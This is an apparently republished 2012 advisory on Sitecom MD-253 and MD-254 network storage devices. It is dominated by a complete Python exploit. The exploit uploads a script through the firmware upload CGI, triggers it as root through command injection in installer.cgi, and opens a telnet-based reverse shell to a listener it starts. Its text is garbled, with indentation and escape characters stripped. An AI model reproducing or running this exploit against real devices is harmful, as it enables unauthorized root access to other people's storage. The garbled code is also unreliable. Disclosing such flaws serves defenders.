Sitecom Multiple Vulnerabilities Reverse Root Shell Exploit

Summary

Sitecom MD-253 and MD-254 prone to multiple vulnerabilities.

Credit:

The information has been provided by Mattijs van Ommeren.


Details

Vulnerable Systems:
 * Sitecom MD-253 and MD-254

This PoC exploit code demonstrates how several bugs in Sitecom MD-253 and MD-254 Network Storage devices can be combined to obtain a root shell.

Firmware versions up to and including 2.4.17 are affected by the following vulnerabilities:

1. The /cgi-bin/upload CGI used by the firmware update function allows arbitrary file uploads that are:
– granted execute permissions
– not removed after uploading if they don’t contain valid firmware
– stored in a predictable location

2. Installer.cgi contains a command injection vulnerability that allows one to run arbitrary commands as
root (only a limited character set can be used due to URL-encoding by CGI-handler)

import sys
import os
import socket
import thread
import datetime
from optparse import OptionParser

upload_url = ‘/cgi-bin/upload’
cmd_inj_url = ‘/cgi-bin/installer.cgi?SetExecTable&%s’
sh_name = ‘revsh’

sh_script = ”’
#!/bin/sh
mknod /tmp/backpipe p
telnet %s %s 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe
# clean up our mess
rm -f /tmp/backpipe
rm -f /tmp/%s
”’.rstrip(‘r’)

headers = ”’Host: %sr
User-Agent: Mozilla/5.0 (PwNAS 1.0; rv:1.0)r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8r
Accept-Language: en-us,en;q=0.5r
Proxy-Connection: closer
Referer: http://%s/firmware.htmr
Cookie: language=en;rn”’

class Exploit:

def stdin_thread(self, sock):
try:
fd = sys.stdin.fileno()
while True:
data = os.read(fd, 1024)
if not data:
break
while True:
nleft = len(data)
nleft -= sock.send(data)
if nleft == 0:
break
except:
pass
sock.close()
self.running = False

def stdout_thread(self, sock):
last = datetime.datetime.now()
try:
fd = sys.stdout.fileno()
while True:
if (datetime.datetime.now()-last<datetime.timedelta(milliseconds=500)):
sys.stderr.write(‘# ‘); # Insert fake prompt
last = datetime.datetime.now()
data = sock.recv(1024)
if not data:
break
while True:
nleft = len(data)
nleft -= os.write(fd, data)
if nleft == 0:
break
except Exception as e:
print e
pass
sock.close()
self.running = False

def parse_options(self):
parser = OptionParser(usage=’usage: %prog [options]’)
parser.add_option(‘-r’, ‘–remote-host’, action=’store’, type=’string’, dest=’hostname’,
help=’Specify the host to connect to’)
parser.add_option(‘-l’, ‘–listener-address’, action=’store’, type=’string’, dest=’listener_ip’,
help=’Target IP for reverse shell connection’)
parser.add_option(‘-p’,’–port’,action=’store’,type=’int’,dest=’port’,
help=’TCP port for the reverse shell connection’)

parser.set_defaults(hostname=None, listener_ip=None, port=7777)
(options, args) = parser.parse_args();

if(options.hostname == None):
sys.stdout.write(‘Remote hostname/IP requiredn’)
parser.print_help()
sys.exit()

#self.forced_bind = (options.listener_ip != None)
self.listener_ip = options.listener_ip
self.hostname = options.hostname
self.port = options.port

def start_local_listener(self):
self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.serv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

try:
self.serv.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
except socket.error:
sys.stderr.write(‘[-] Unable to set TCP_NODELAY’)

try:
self.serv.bind((self.listener_ip, self.port))
except:
print ‘[-] Unable to bind to given IP-address. Attempting to bind on default address. You probably need a #NAT/PAT rule if you’re behind a firewall.’
try:
self.serv.bind((”, self.port))
except:
print ‘[-] Unable to bind to default address. Aborting.’
sys.exit(2)

print ‘[*] Listener started on %s:%s’ % (self.serv.getsockname()[0], self.port)

self.serv.listen(5)
self.clientsock, addr = self.serv.accept()
print ‘[*] Incoming connection from %s:%s’ % (self.clientsock.getsockname()[0], self.clientsock.getsockname()[1])
self.clientsock.send(‘/bin/busybox uname -an’);
banner = self.clientsock.recv(2048)
if (banner.find(‘Linux’))>=0:
print ‘[*] W00t W00t, got shell!nn%sn’ % banner
thread.start_new_thread(self.stdin_thread, (self.clientsock,))
thread.start_new_thread(self.stdout_thread, (self.clientsock,))

def connect_socket(self):
print ‘[*] Connecting…’
try:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect( (self.hostname, 80) )
if not self.listener_ip:
self.listener_ip = self.socket.getsockname()[0]
print ‘[*] Connected to %s (%s) ‘ % (self.hostname, self.socket.getpeername()[0])
except Exception as inst:
print inst
print ‘[-] Unable to connect’
sys.exit(2)

def upload_payload(self):
print ‘[*] Uploading payloadn’
try:
self.socket.send(‘POST %s HTTP/1.1n’ % upload_url)
self.send_headers()
ct = ‘Content-Type: multipart/form-data; boundary=—————————41184676334rn’
begin_file=’—————————–41184676334rn
Content-Disposition: form-data; name=’file’; filename=’%s’rn
Content-Type: application/octet-streamrnr’
end_file=’rn—————————–41184676334–rn’
pl = ”.join([begin_file, sh_script, end_file]) % (sh_name, self.listener_ip, self.port, sh_name)
cl = ‘Content-Length: %srnrn’ % (len(pl))
crlf = ‘rn’
data = ”.join([ct,cl,pl,crlf])
self.socket.send(data)
if self.socket.recv(2048).find(‘200 OK’)>=0 and self.socket.recv(2048).find(‘/tmp/’+sh_name)>=0:
print ‘[*] Payload succesfully uploaded’
self.socket.close()
else:
print ‘[-] Unexpected response. Trying to proceed anyway.’
except:
print ‘[-] Error uploading payload. Aborting.’
sys.exit(2)

def send_headers(self):
data = headers %(self.hostname, self.hostname)
self.socket.send(data)

def execute_payload(self):
print ‘[*] Executing payload’
cmd = ‘/tmp/’ + sh_name
req = ‘GET %s HTTP/1.1rn’ % (cmd_inj_url % cmd)
cr = ‘rn’
self.socket.send(”.join([req,cr]))
self.send_headers()
if self.socket.recv(2048).find(‘200 OK’)>=0:
print ‘[*] Finished executing payload’
self.socket.close()

def run(self):
self.line_buf = ”
self.prompt = False
self.parse_options()
self.connect_socket()
thread.start_new_thread(self.start_local_listener, ())
self.upload_payload()
self.connect_socket()
self.execute_payload()
print ‘[*] Waiting for reverse shell connection’
self.running = True
while self.running:
pass

exploit = Exploit()
exploit.run()

Disclosure Timeline:
Published: 2012-09-12

Categories: Exploits